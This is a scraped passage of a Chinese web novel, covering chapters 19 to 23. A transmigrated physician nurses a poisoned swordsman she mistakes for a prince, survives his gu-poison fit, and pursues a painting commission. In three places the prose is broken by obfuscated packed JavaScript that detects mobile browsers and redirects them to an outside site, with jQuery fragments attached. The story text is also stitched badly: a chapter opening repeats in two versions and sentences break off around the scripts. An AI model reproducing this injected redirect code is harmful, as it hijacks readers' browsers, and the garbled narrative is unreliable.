季妤害怕地想着,各种猜测。 可现实世界里根本就不存在鬼啊! 可她都穿书了,书中有没有鬼还未可知,说不定书里还真有鬼的存在。 季妤胡思乱想想了很多,直到闻到一股血腥气,她才猛地回过神来,定睛一看,那原本还是一团黑影的物体,此刻已清晰可见地近在身旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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雨越下越大,大颗大颗地砸在单薄的油纸伞上,啪嗒啪嗒地响声掩盖了季妤的那句嘟囔,即使是听力很好的南星,也未听见。 因着雨势变大,青石板上堆积了许多水坑,一个不留神就会踩进去,然后湿了鞋袜,所以两人走得不快,甚至是有点慢。 但季妤着急回去,她一想到南星的伤口崩开了就头疼,到时候又要重新处理一下,否则一个不注意就会感染。 “祁公子,走快点吧。”季妤忍不住催促了一句。 南星微微一顿,他本来可以走快的,但是考虑到季妤,便刻意将步子迈小了些,配合着她的速度,没想到却是被她嫌慢。 “季姑娘,天色暗,地上有水坑,不宜走快。”南星认真提醒着。 “可你的伤耽误不得,需要赶紧处理,而且这么大的雨,鞋袜必定会湿,水坑踩不踩都无所谓。”季妤说完,便自顾自地攀上南星的手臂,脚上步子加快了些,推着南星走。 南星身子微微一僵,垂首看着那只攀在他手臂上的白皙手臂看了一会儿,突然问:“季姑娘,你很在意我的伤口吗?” 19. 只图财,不图色 等两人到家后,皆湿了全身,从头湿到脚,活脱脱的落汤鸡模样。 季妤连打好几个喷嚏,唯恐自己感冒生病,耽误明天的要事,也怕南星感染风寒导致病情加重,于是在自己进屋之前也催促他赶紧去换衣。 季妤换好衣服后来到厨房烧热水,煮了姜汤,顺便也把药煎上,忙完这些之后又飞快跑回屋中准备好给南星要换的药和纱布。 门被轻轻敲响,季妤的声音传了进来,“祁公子,我来给你换药,方便进来吗?” 南星手一顿,差点没控制住力道,险些让鸽子叫出声来,他稳了稳心神,捏住鸽子的嘴,视线从桌上的纸条落在门上,眼中情绪复杂。 屋内没人回应,一片沉默。 季妤耐心等了一会儿,猜想他身上的伤会使得他换衣服不太顺利,估计这会子他还没换好衣服,不方便回答她,那么她便等上一会儿。 左等右等,里面还是没有半点动静,季妤心里有些着急,皱着眉头又叩响了门,仍是没有回应,按照祁钰的性子,就算没穿好衣服,可也让她等了好一会儿了,也该知会一声啊。 难道他晕倒了? 这倒是有可能,他本来就中毒,身上伤口崩开了,又淋了雨,身体虚弱,很容易就昏倒的。 想到这种可能,季妤担心不已,手掌撑在门上就要推门而入,就在这时,男人的声音响起了。 “季姑娘,能否再等一等?” 屋里传出男人的声音,语气平静,声音实在,说明他没事,季妤松了口气,将手放下,朝里头喊道:“好,那等你好了再叫我,我去厨房看看热水烧好没。” “有劳季姑娘了。” 依旧是这句疏离的道谢,季妤撇了撇嘴,祁钰虽好,就是距离感太强了,她终究不是苏念可,不是祁钰一心一意爱慕的女子。 不过也无所谓,祁钰虽然长在她审美点上,但她目前只图他财,不图他色。 屋里窗子大开,风裹挟着雨丝吹进来,地上湿了一片,昏黄的烛火摇曳,明明灭灭,南星松开捏住鸽子嘴的手,鸽子得获自由,不满地朝南星叫了几句。 声音不大,又被雨声掩盖了些,因此南星倒也不担心在厨房的季妤会听见。 鸽子寻着夜色,轻巧地穿过雨幕消失在暮色里。 南星看着手里的纸条,将里面的内容看了一遍后,走到烛火处点燃烧了。 京城与青州有些距离,即使是训练有素,速度一绝的翎鸽,往返也需要一天,可他才放飞不到半天,翎鸽就回来了,还带来了小姐的信。 这就说明了小姐不在京城,在离青州不远的地方。 想到小姐回信里的内容,南星忍不住伤口泛起疼来。 他明明在信中禀明了他受了重伤跌落山崖深潭,随着水流漂了几天几夜,漂到了青州,幸得一女医相救,如今正在女医家中养伤,待伤势差不多痊愈后,他就回京城。 他不奢求小姐能关心他的伤势,只要偶尔提到他几句,他便满足了,但整封信通篇下来,却是半点没提到他。 他心里说不出的失落。 明明以前的小姐还会关心他,在乎他,他因为执行任务受了伤,她也会给他上药,可后来遇见了裴世子,全然变了。 她一心一意,满心满眼都只有那个男人,连这次回他的信里,字字句句都是为了裴世子。 脸上一片凉意,手摸上了脸,摸到一片湿濡,那是飘进来的雨水,自从阿娘去世后,他没再哭过,也没有掉过眼泪,今后也不会为谁落泪。 南星冷漠地盯着窗外,院中的那棵开了花的桃树被风吹雨打,落了一地的花瓣,南星循着花瓣飘落的轨迹,看到了对面屋子亮起了灯。 雨幕中看到了一道纤细娇小的影子映照在对面窗上,然后对面的窗开了,有清脆明亮的喊声冲破雨幕传了过来。 “你怎么把窗打开了啊!” 语气里有责怪的意味,但更多的是担心,南星听出来了,不由轻笑一声,朝对面喊道:“我这就关上。” 窗,关上了,雨声被隔绝在外,屋里陷入一片安静,南星在衣柜里翻找一通,在一片浅色衣物中找出了一件颜色不那么浅的灰蓝色衣衫换上。 季姑娘的爹应当是气质儒雅随和之人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14577380|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与这一柜子的浅色衣物相称,只是他因为从小习武,肤色比一般人深一些,再穿这些浅色衣物,就有些不伦不类了,因此,他一般只着黑色和深色衣裳。 刚换好衣服,就听到季妤敲门。 南星打开门,被季妤劈头盖脸数落了一顿。 “下雨了还开窗,风又大,雨也会飘进来,你还站在窗边,你不怕感染风寒啊。” “我知道一直关窗屋里闷,但是你得考虑自己的身体状况吧,你才淋了雨没多久,又跑到窗边去吹风,万一病情加重,导致毒素加快蔓延,到时候我解药没制出来,你先没了,那怎么办?” 季妤苦口婆心地讲着大道理,只希望面前的男人能听进去一点,在她还没拿到钱之前,他可不能有任何闪失。 季妤看向南星,见他一副乖巧听训的模样,不由有些奇怪,看他这个样子并不像是存心的。 她也不知道他怎么老是想着要开窗,开了窗看到的也就是院子里的景致,没什么稀奇的,难道真的是嫌太闷了? “我爹这个屋窗子的位置不好,每次下雨,雨都往里面飘,我房间的窗子就不会这样,开了窗也没雨飘进来。要不我明天找个工匠,在这个屋子另一边凿个窗,你要是嫌闷了,就开这边的窗,如何?” 季妤用商量的语气对南星说,多凿一个窗又是一个新的花销,但今天她接了一个大单子,到手的定金就有足足十两。 而且不管能不能画得让钟小姐满意,这十两定金都是她的,钟公子可是说了不用退的,所以开新窗的花销,季妤也不算特别心疼,都是为了今后的钱途服务,不亏。 “季姑娘不必如此,我以后少开窗便是。” 对于如此懂事又善解人意的男人,季妤感动不已的同时又很欣慰,真不愧是人品样貌俱佳的祁公子。 不过人家嘴上虽然这么说,她却不能不做,新窗子还是要开的,季妤心里打定了主意,不容别人拒绝。 “对了,热水烧好了,你身上有伤,不方便自己洗,要不要我帮忙?” 南星一怔,连连摇头,“不,不麻烦季姑娘了,我自己来。” 20. 害羞 “你不必害羞的,大夫眼里无性别之分,你要是实在觉得不好意思,你蒙上眼睛?” 对于这个提议,南星有一瞬的无语,这跟掩耳盗铃有什么区别,不过是自欺欺人。 难道他遮住了眼,看不见了,就感受不到有人在给他洗澡吗? “还是……让我自己来吧。”南星坚持道。 季妤认真地看了南星几眼,见他脸上表情有些局促,眼神闪躲,看来真的是害羞了。 季妤仔细想了想,想着还是别强人所难,而且她也没给人洗过澡,更何况还是个大男人,要是他真同意了,局促的反而成她了。 既如此,便让他自己洗吧,只是考虑到他的伤,季妤还是关心地多嘱咐了几句,“你洗的时候小心伤口,不要碰到了水,洗完就赶紧出来,我再给你换药。” 南星朝季妤拱手道:“祁某明白。” 南星去了洗澡,季妤便开始准备晚饭,她走到厨房去看那只被她关起来的鹅,打算今晚宰鹅吃。 鹅的做法她之前看过视频,大概知道怎么做,厨房里调料俱全,虽然没实操过,但以她的天赋,想来不会做的多难吃。 “我的鹅呢?” 季妤疑惑地看着厨房角落里,那原本关着鹅的地方空落落的,地上散落着被扯得一团糟的红绳,这是她用来绑住鹅的脚的。 鹅竟然越狱了! 季妤环顾四周,在厨房转了一圈,只在地面上发现几片凌乱的羽毛,是从鹅身上掉落下来的,顺着羽毛的方向,是不是就能找到那只鹅? 季妤沉思了片刻,视线落在羽毛上,循着轨迹,慢慢出了厨房。 “嘎嘎——” 忽地,传来鹅的叫唤声,季妤视线猛地落在一处紧闭着房门的屋,这时又有两句鹅叫声响起,季妤得意地笑了起来。 原来是躲在里面了,看我一会儿怎么把你抓到。 季妤撸起袖子,干劲十足地走到那屋门口,正要推门而入,忽地里面传来哗啦哗啦的水声,季妤一顿,后退了一步。 “差点忘了,祁钰还在浴室里洗澡呢,这要是贸然闯进去,撞见什么不该看的,那就尴尬了……” 季妤拍了拍脑袋,转身往厨房那走去,忽地里面又传来一道声音,急促又惊恐。 “啊——滚开!” 祁钰的声音? 听到这突兀的声音,季妤有些错愕地转回身去,脸贴在门上,耳朵竖起,认真地听里面的动静。 “嘎嘎!” “你快滚下去!快滚!” 紧接着是翅膀煽动的声音,伴随着声响极大的哗啦哗啦的水声。 不明所以的季妤皱起了眉头,“这……是怎么了?”季妤狐疑地嘀咕着,两只眼睛紧贴门框,试图透过门缝看到里面状况。 怎么里面又有鹅叫声,又有祁钰惊恐怒骂的声音? 季妤边想边努力往里看,可怎么看都只能看到一块屏风,她迫切想要知道的事情都藏在屏风里,季妤着急地跺脚。 这该死的蠢鹅,竟然是跑到了人家洗澡的地方去了,该说不说它真是找着个好地方,毕竟她不可能贸然进去抓它。 算它聪明,这次便饶过它,下次逮到它,把它炖了!季妤忿忿地想着,便转身准备离开。 “季姑娘!季姑娘可在门外!” 里面传来男人惊慌失措的声音,季妤挑眉,有些诧异,从来没听过温文尔雅的祁钰会发出如此惊慌的语气。 季妤转身,朝里面喊道:“祁公子,怎么了?” 里面沉默了一瞬,一声鹅叫声响起,紧接着是男人的声音。 “季姑娘,你的鹅在里面,能否麻烦你进来捉走?” 南星强忍着怒火,狠狠地瞪着眼前这个不知死活站在浴桶上的蠢鹅。 他脱了衣服才进入浴桶没多久,不知从哪钻出来的蠢鹅,在屋里窜来窜去,后面直接窜到了他的浴桶上,一个劲地对着他“嘎嘎”乱叫一通。 他拿手去赶它,它非但不怕,还挑衅似的瞪着他,扑棱着翅膀扇了他一脸的洗澡水。 若不是听到了季妤的脚步声,他恐怕会忍不住立刻让这只蠢鹅永远地闭上嘴。 “方便进来吗?”季妤礼貌地询问了一下。 “嗯,季姑娘进来吧。” 得到了肯定的回答,季妤没再犹豫,推门而入,掠过屏风,便看到一人一鹅互相瞪着眼对峙的情景。 鹅站在浴桶边缘,南星披着衣服站在浴桶旁,脸上淌着水珠,湿了额前鬓角的发,再看浴桶里翻滚的冒着热气的洗澡水,想来他应该是刚从浴 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季妤忍不住咽了咽口水,怎么会有长得那么好看的人呢?真的完全长在了她的审美点上,特别是这性感健康的小麦色肌肤,给俊俏的五官平添了一丝野性。 见南星只是看着她不说话,季妤想了想,往屏风处看了眼,“我就站在屏风后面,不会偷看,你快洗吧。” 说完也不等南星回答,季妤自觉地走到屏风后面,虽然透过屏风还是能隐约看到男人的身形,但好在看不真切,也算是给人一种心里安慰。 南星依旧站着不动,似乎在挣扎什么,身子弯了一下,身形有些摇晃和颤抖。季妤将这些看在眼里,不由觉得奇怪。 三皇子祁钰出身高贵,生下来就有大把的宫人伺候,就是洗澡穿衣都有人贴身候在一旁,怎么会像现在这样这般扭捏? 她都躲在屏风后了,不至于还害羞吧。 季妤清咳出声,南星有所动作了,本以为是要往浴桶去的,没成想却是直奔她而来。 季妤还没反应过来,就被一双修长有力的手掐住了脖子,季妤惊恐地低头一看,看到了一双猩红疯狂的眸子,正死死地,恶狠狠地瞪着她。 季妤慌了。 21. 怪物 “你……是……发疯……了吗?” 季妤艰难地从喉咙里挤出这句疑问。 她惊恐地低头看着突然发狂的南星,猩红的眼、恶狠狠的眼神、以及粗暴的动作,一股窒息感席卷全身,脚忽地腾空离地,是男人遏制住她脖颈提了起来。 季妤拼命地用脚到处乱踢,疯狂地用手拍打这眼前陷入癫狂的男人,企图唤回他一丝理智,可全身无力的她,拍打和乱踢都成了软绵绵的云朵,对人造不成实际伤害。 窗外忽地电闪雷鸣,狂风骤雨,吹得窗子摇摇欲坠,啪哒作响,一道闪电划破天际,清冷的白光照亮了隐在黑暗中的那张脸,季妤瞳孔剧缩,不可置信地看着男人俊美的脸,此刻布满了红色的纹路,像是血管透过了皮肤显露出来。 看着狰狞又恐怖,像是魔鬼一般。 季妤吓得眼泪鼻涕一起流,她的脑中一片混乱,却仅剩一个念头:吾命休矣! 就在她无力昏死过去的那一刹那,一道“嘎嘎”的叫声将她消失的神识拉了回来。 “嘎嘎!” 季妤看到一个白色的身影跳了上来,然后感觉头顶一沉,那只被她唤作蠢鹅的稳稳地站在了她的头顶。 季妤眼泪瞬间如决堤的洪水,她委屈极了,被不知道怎么就发疯了的祁钰掐脖子,还被这只蠢鹅欺负,明目张胆的站在她头顶嘲笑她! 终究是她太善良了,若是这次能活,她一定把这只蠢鹅炖了。 可是,她能活吗?看祁钰这失去理智的癫狂样,她怕是活不了了,季妤悲催地想。 就在季妤对生没了希望,准备就这样死去,或许死了就能回到现实世界了,眼前有片阴影投了下来,季妤就看到这只蠢鹅弯下了脖子,用尖尖的嘴去啄男人掐住她脖子的手。 一下、两下、三下…… 脖颈处的力松了些,窒息感减退了,季妤得了片刻的空隙后深深地吸了一口气。 她垂头往下看,看到了男人脸上闪过的一丝怔愣,似乎在疑惑这只鹅为什么戳他的手臂,不轻不重,好似挠痒痒。 季妤便趁着他这愣神的空隙,屏住呼吸,铆足了劲,抬起腿来往上一踢,男人表情龟裂,狠皱着眉瞪着她,随之脸上浮现一抹痛苦之色。 脖子上的束缚松开了,季妤没了这股力的支撑,很快便这样掉了下来,重重地摔在了地上,连带着那只在她头顶上的鹅也被甩在一旁,扑棱着翅膀,吭哧吭哧地又跑到季妤面前,不满地“嘎嘎”叫了两声。 季妤趴在地上喘着气,手摸向了脖子,才碰到,就被疼得接连发出“嘶”的气声,然后猛地缩回手不敢再去碰脖子。 季妤才休息了没一会儿,便又察觉到大片的阴影逼近她,她抬起头来去看,看到男人卷土重来步步逼近她,季妤崩溃道:“还来?!” 季妤无奈起身,转身四处找位置躲藏,忽地脚下一滑,人直直地往前栽去,看着眼前这张布满血丝恐怖的脸,季妤把眼一闭,听天由命。 随着“哗啦哗啦”巨大的落水声,水花四溅,两人齐齐跌入浴桶,季妤猝不及防喝了一大口洗澡水,等反应过来后,连忙呕吐起来。 “季姑娘?你为何……会在浴桶里?” “为何?”季妤一脸问号地看着面前这个恢复正常,却一脸疑惑的南星。 季妤打量了他好几眼,最后迟疑地问:“刚才发生的事,你都没印象了?” 见南星缓缓摇头,季妤怪异地看着他,他脸上的红色纹路减退了些,但还有不少残留在脸上,季妤拿过一旁凳子上放着的铜镜递到南星面前,“你自己看。” 南星看到镜子里的自己,颤抖着手抚上自己的脸,浓密的睫毛微颤,薄唇微张,声音如冰,“你看见了?” 季妤奇怪地看了他一眼,不明白他为什么这么问,他脸上那么明显的变化,除了瞎子看不见,谁都看得见吧。 季妤擦了擦满脸的水,“嗯”了一声后准备起身,突然手腕被拽住,季妤心里“咯噔了一下,心有余悸地朝南星看去,以为他又要发狂掐她脖子,在看到一双平静的眸子后,季妤才松了一口气。 她看着被他拽住的手,那 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犯病?季妤皱着眉头透过屏风看向南星,原来他刚刚那副可怕的样子是犯病了啊,什么病那么恐怖,让人变成人不人鬼不鬼的样子。 书中祁钰身体健康,没提到过得什么怪病啊?正当季妤满脑子疑惑时,南星微哑的嗓音又在屋子里响起。 “弄伤了姑娘是我的错,只是我如今身无分文,不能现在补偿姑娘,若是姑娘信得过我,我明日出发,姑娘等我三日,等我回到家后,定给姑娘补偿。” “什么?你明日要走?”季妤一脸震惊地从屏风里出来,见南星看向她,她又吓得躲回屏风里。 “此次犯病,不走不行。”南星缓缓垂下眼眸。 每到十五月圆之日,他体内的蛊毒就会发作,若是三日内没有服下那药,他将痛不欲生,丧失理智,变成人不人鬼不鬼的怪物,到时候,就不仅仅是伤害季姑娘那么简单了。 所以,他必须走。 22. 心疼 季妤竖起耳朵,想知道他会说些什么,会怎么解释刚才发生的事。 “季姑娘,因为我突然的犯病吓到你了,还,伤了你,对不起。”南星看着季妤,神情认真,言语诚恳,语气真诚。 犯病?季妤皱着眉头透过屏风看向南星,原来他刚刚那副可怕的样子是犯病了啊,什么病那么恐怖,让人变成人不人鬼不鬼的样子。 书中祁钰身体健康,没提到过得了什么怪病啊,而且他一生顺遂,除了感情上不如意,也就她捡到他的那次是他此生中受过最严重的伤了。 所以,到底哪儿出了问题?是她记忆出了问题,还是小说中描写有误?正当季妤满脑子疑惑时,南星微哑的嗓音又在屋子里响起。 “弄伤了姑娘是我的错,只是我如今身无分文,不能现在就报答姑娘恩情,若是姑娘信得过我,我明日便出发,姑娘等我三日,等我回到家后,定给姑娘报酬。” “什么?你明日要走?”季妤一脸震惊地从屏风里出来,见南星看向她,她又吓得躲回屏风里。 “此次犯病,虽非我愿,但为了不再伤害姑娘,我不走不行。”南星缓缓垂下眼眸。 每到十五月圆之日,他体内的蛊毒就会发作,若是三日内没有服下那药,他将痛不欲生,丧失理智,变成人不人鬼不鬼的怪物,到时候,就不仅仅是伤害季姑娘那么简单了。 理论上他必须走,但小姐信中所提之事还需要他留在青州,留在季姑娘身边,所以,他又不能走。 见屏风内无任何响应,南星眼神暗了暗,泛白地手慢慢抚上左胸,然后用力一压,血瞬间渗出,如水流般流淌下来,很快染红了衣服。 南星面无表情地注视前方,带血的手朝屏风处拱手作了一揖,“祁某这就回屋收拾一番,明日一早便走,这几日打扰姑娘了。” 南星话语刚落,季妤便透过屏风看着男人移动了步子,缓慢地朝门的方向走去。 他走得很慢,身子摇摇晃晃,好像很虚弱的样子,季妤有些担心地探出头去看,就在这一刹那,南星一头栽倒,狠狠地摔在了地上,季妤心里一惊,赶紧跑上前去。 看着左胸汩汩留着鲜血的伤口,季妤脑子嗡嗡作响,恍惚间好像看到了爸爸倒在血泊中,口里的鲜血怎么捂都捂不住的样子。 她害怕极了,眼泪忍不住往下掉,她颤抖着手捂在被崩开的伤口处,却不管怎么捂都没用,血仍然止不住地流出来。 滚烫的泪水滴落,落在南星的脸上、鼻子、嘴唇、眼皮上,南星颤抖着睫毛,缓缓掀起眼皮,半睁着眼虚弱地看着大颗大颗掉眼泪的季妤,心里仿佛被什么击中了一样,有一瞬间的酥麻。 他缓缓张口,想要说些什么让她别哭,他就没见过眼泪那么多,还那么大颗的姑娘。只是还没等他说出什么来,便先听到季妤开口了。 “好不容易养好的伤口,现在又全崩开了,那我之前做的都白费了?为什么伤口烂得比第一天的时候还要严重,祁公子,你到底有没有好好养伤。” 面对季妤的质问,南星虚弱地点了点头:“我一直有好好听季姑娘的话,除了去茅房和吃饭,不轻易下床走动。” “可你今天淋了雨还走出来了。这就是你说的有好好听我的话吗?”季妤气急,气得眼泪都忘了掉,眼泪蓄满了眼眶,只要她一眨眼就会滚落下来,可季妤忍着,不让自己眨眼睛,她怕她眨眼后,眼泪又会不受控制地掉个不停。 她是泪失禁体质,情绪产生波动时就有想掉眼泪的冲动,但实际上她可能有时候并不是想哭,只是情绪上头了,眼泪先一步掉下来,对于这样的体质她深受其扰,因为从小到大被不少人说过矫情。 “我只是……见雨下大了,季姑娘那么晚还没回来,怕你没带伞,所以便想着去给你送伞。”南星轻声解释着,语气里有些许无辜。 “可是就算是给我送伞你出了家门,走了不少路,还淋了雨,但也不至于伤口崩成这样。”季妤凑近些去看南星的伤口。 那里鲜血淋淋,前几天因为好好养着,伤口都已经结痂了,现在前功尽弃,比第一天的情况还要糟糕,季妤心里实在堵得慌。 她怀疑地看着南星,却只看到他嘴唇泛白,嘴角隐隐有鲜血渗出,然脸上纹路消退了些,只剩下几条不这么明显的,忽地,她想到了一种可能。 季妤伸手抚上南星的手腕,探其脉搏,然,眉头紧蹙。 “祁公子,你方才突然的发狂究竟是犯了什么病,为什么会突然变成这幅样子?” 她刚才探了他的脉搏,探出了他身体里还藏着另一种毒,只是因为之前没发病,这毒被隐藏了,所以她没有发现。 对于这毒,她一无所知,只知道脉象奇特,应该不是普通的毒,恐怕比箭伤上的毒还要厉害,所以他伤口严重崩开与这毒发作脱不了关系。 季妤不由脸色沉重地看向南星,两种几乎致命的毒皆在他的体内,他竟还能活,简直不可思议,换做普通人,早在中毒那时就一命呜呼了。 此人,真的会是养尊处优的三皇子祁钰吗?季妤不禁有些怀疑。 见她看他,南星同样也看着她,只不过他半睁着眼,一副十分虚弱,仿佛下一刻就要晕倒过去的样子,他毫无血色的薄唇微微张开,“季姑娘是大夫,难道没有查看出来是什么毒吗?” 季妤诚实地摇了摇头。 “是蛊毒。” 季妤一惊,蛊毒?对于蛊毒,书中有提到过。 书中男女主的相遇就是因为蛊毒,男主是安国公府世子裴子珩,因为遭人暗算中了苗疆蛊毒,生命垂危之时被精通医术的苗疆女子蓝汐,也就是书中女主所救,然后裴世子就对蓝汐暗生情愫,两人之间开始有了交集。 这剧情是男女主初相遇,季妤可再熟悉不过了。 只是书中所写的蛊毒好像主角团就裴子珩中过,没看到祁钰也中过啊? 不过现在不是纠结这个问题的时候,现在最重要的是,给祁钰把血止住,否则毒还没解,他就失血过多死了,到时候钱和宅子没拿到不说,她还在她医学生涯里摊上了第一条人命。 “我扶你去那边的榻上躺着。” 南星乖巧地“嗯”了一声,任由季妤把他的右手臂搭在她的肩上,然后一手扶着他的腰,慢慢地挪到几步远的塌上。 “你先躺一下,不要乱动,我去拿药和纱布。” “好。” 很快,季妤出去了,又很快拿着药和纱布还有一件干净的衣服回来,轻车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14607795|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熟路地脱下男人湿漉漉的衣服,先用布巾将伤口周围的血擦拭干净,然后上药、包扎,整个过程都很安静。 季妤认真给南星上药包扎,南星则乖乖的一动不动地任由季妤摆弄,只一双眼眸牢牢地盯着季妤的脸。 她板着一张脸,表情严肃,凝重,又认真,这和以往总是笑意盈盈的她又不一样,她的眉头皱得很紧,眼眶还泛着红,这样一张明媚的脸不适合皱眉,也不该哭,该是笑着才对,南星想。 就像阿娘一样,笑着比哭着时好看多了。 “你身上的蛊毒已经好几年了吧。” 南星从思绪中回过神,猛然听见季妤这番话,沉默了半晌,直到季妤清澈的眸子直勾勾地盯着他,他才缓缓张口,“瞒不过季姑娘。” “我九岁那年中了此蛊毒,每到十五月圆之日,蛊毒发作,痛不欲生,需得服下一种药才能勉强抑制住。” 九岁还是个小孩子,就已经中了这么要命的毒吗?看他的年岁,恐怕这毒已经在体内十年之久了,天呐,寻常人怎么忍受得了?季妤忍不住有些心疼起他来。 “那你若是没服下那种药,你是不是还会像刚才那样,突然发狂,变成可怕的样子?”季妤认真地问。 “是,所以我明天要走,回家取药。” “不行,你不能走!”季妤喊道。 “你身上箭伤的毒我还没替你解开,然后你现在蛊毒又发作了,伤口裂成那样还流了那么多血,你现在十分虚弱,若是你就这么走了,恐怕你还没到家就死在路边了。” “可是,我身上的蛊毒若是不及时服药抑制住,我怕我再犯病会伤了季姑娘你。”南星无奈道,“若是你因此受伤,我如何心安?” 季妤一时顿住了,是啊,他要是再发作起来把她掐死怎么办? 一想到他发作时恐怖可怕的样子,季妤就忍不住身子发抖,感觉脖子上的伤痕还在隐隐作痛地提醒着她,她刚才经历着多么可怕的事。 她虽然不算什么坏人,但也不是什么烂好人,为了别人而把自己陷入危险的境地不是她的作风,不管是什么事,她都需要第一时间确保自己的安危,然后再来考虑别人怎么样。 南星看出了季妤的沉默,以及她的犹豫不决,他不想让她为难,于是他开口道:“季姑娘不必为难,你已经救过我一次了,对我已是仁至义尽,你是个好大夫,就算之后死在了……”路上二字还没说完,便剧烈咳嗽起来。 忽地一口鲜血喷了出来,南星及时用手捂住,才不至于喷溅到季妤脸上,但还是有几滴溅到了她的衣袖,南星愧疚道:“弄脏了季姑娘的衣袖,对不起,我……” “好了,先别说话。”季妤打断口吐鲜血还叨叨个没完的南星,神色复杂地看了他一眼,随后拿来干净的布巾替他擦去脸上的鲜血。 见南星还欲言又止,季妤无奈道:“你先安心养伤,蛊毒的事我会想办法,我娘本是苗疆人,后来跟着我爹来到青州,她有很多本关于苗疆医术的书,我到时候查一查,兴许能找到解毒办法。” 听到了想听到话,南星被眼皮遮住一半的眼睛闪烁了一下,他咳嗽几声,等平静后抬起眼真诚地看着季妤,语气认真又郑重,“季姑娘,我会好好报答你的!” 23. 钟小姐 季妤在原身爹的屋子里翻找了好一通,终于在书架最里面找到了几本苗疆医书和原身娘生前记录的手札。 “奇怪,为什么最上面的这本没什么灰尘,下面几本反而落满了灰尘?不该是最上面这本灰尘最多吗?”季妤感觉有些奇怪,边翻看边小声嘀咕着。 南星耳力一向很好,即使现在很虚弱,也将季妤方才嘀咕的话听了个十足十。 第一本那么干净,自然是他的手笔,不过他也不是故意要找什么东西而去翻书架,是因为前几天躺在床上实在无聊,看到书架上那么多书,就想着找本书看,打发无聊的时间。 书架上的书他都翻了个遍,如季妤所说,她家中最多的就是医书,而书架上确实也都是些医书。 不过他在角落里意外地发现了几本有关苗疆医术的书,书上记载着许多苗疆蛊毒,除此之外,还有一些手札,手札上落款蓝瑛。 蓝姓,苗□□有的姓氏。 季姑娘说她娘亲是苗疆人,那么那些手札上落款的蓝瑛二字,应该就是季姑娘她娘亲的名字,这和他猜想的一样。 若是季姑娘当真能解了他身上的蛊毒,那不失为一件幸事,他便能脱离那人的桎梏,不再受制于那人,不用每月遭受非人的折磨,更不用再喝那恶心的药。 她可以解开他身上的蛊毒吗?南星视线缓缓落在季妤身上,眼里闪过一丝希望。 季妤随意翻看了几下医书,发现里面记载着许多神秘的蛊毒,只要她把这些书都看完,兴许能找到祁钰身上的蛊毒属于哪一种,就算医书上没记载,还有原身娘的手札。 书里曾记载过,苗疆女子善医术,医术精湛,尤善蛊毒。也就是说,苗疆女子几乎人人会医术,人人会蛊毒,至于医术精不精湛,还要另当别论,毕竟学什么也是要看天赋的,就像她学画画一样,也是要天赋的。 雨渐渐变小,夜越发深沉,蜡烛已快要燃尽,季妤抱着一摞书朝床上躺着的南星道:“夜已深,你好好休息,若是有什么事,你就喊一嗓子,我在对面能听到。” “好。” …… 季妤回到自己屋里,开始认真翻看起医书,寻找南星身上的蛊毒。 他发病时的特征很明显,猩红的眼,布满红色纹路的肌肤,癫狂的状态,攻击力很强…… 只要循着这些特征,应该不难找到。 窗外雨大了,又小了,反反复复几遭,蜡烛燃尽了一根又被季妤点上新的,漫长的夜悄然过去,直到听见两声“嘎嘎”的鹅叫声,季妤才从桌子上醒来。 “嘶,手臂麻了!”季妤一张脸痛苦地皱在一起,她小心翼翼地托着被她枕麻了的左手臂,走到窗前打开窗,一个鹅头就钻了进来,吓了季妤一跳。 “嘎嘎!”鹅欢快地叫唤了两声,然后扑棱着翅膀飞了起来,落在了窗子上。 季妤看了一会儿天色,天色尚早,应该天亮没多久,下了一夜的雨现在还没停,还下着蒙蒙细雨呢。 季妤呼出一口气,甩了甩已经不怎么麻的手臂,摸了摸鹅的脑袋,然后快速地跑去厨房做早饭。 “嘎嘎”鹅跟在季妤屁股后面叫个不停。 季妤生火烧热水,回头看了鹅一眼,忍俊不禁道:“放心,这热水不是为了宰你而烧的,你这条鹅命我不会取走。” 鹅“嘎嘎”叫了两声,见自己不用被做成菜,欢快地扑棱着翅膀一颠一颠地跑院子里玩水去了。 早饭季妤煮的青菜瘦肉粥,另煎了两个荷包蛋,她先端着热水给南星洗漱完,然后再把早饭端过去。 他脸上的红色纹路又减退了不少,现在看起来没有那么可怕了,他情绪也稳定很多,恢复了之前温润模样,季妤很是欣慰,感觉一切在朝好的状态发展。 昨晚她几乎看了一整夜的医书,把那几本苗疆医书全看完了,因为是主要查找南星身上的蛊毒,所以看得格外仔细,医书上没找到相关记载,倒是在原身娘那几本手札上找到了一些类似的蛊毒记录。 只有类似的,这还不够,看来等给钟小姐作画完后还得去书肆一趟才行。 * 钟府大门。 看门的小厮看过季妤递给他的信后,恭恭敬敬地请她进去,还特地给她找来个带路的丫鬟。 小姐正为着画师的事在府上闹了个底朝天,如今这又来了个画师,还是公子请来的,先前那个尹画师就惹得小姐不愉快,这个季画师看着年纪小,定然是比不上尹画师的,想来一会儿又要挨板子了。 小厮朝季妤的背影投去一个同情的眼神,直到季妤在拐角处看不见,才收回视线,站在门 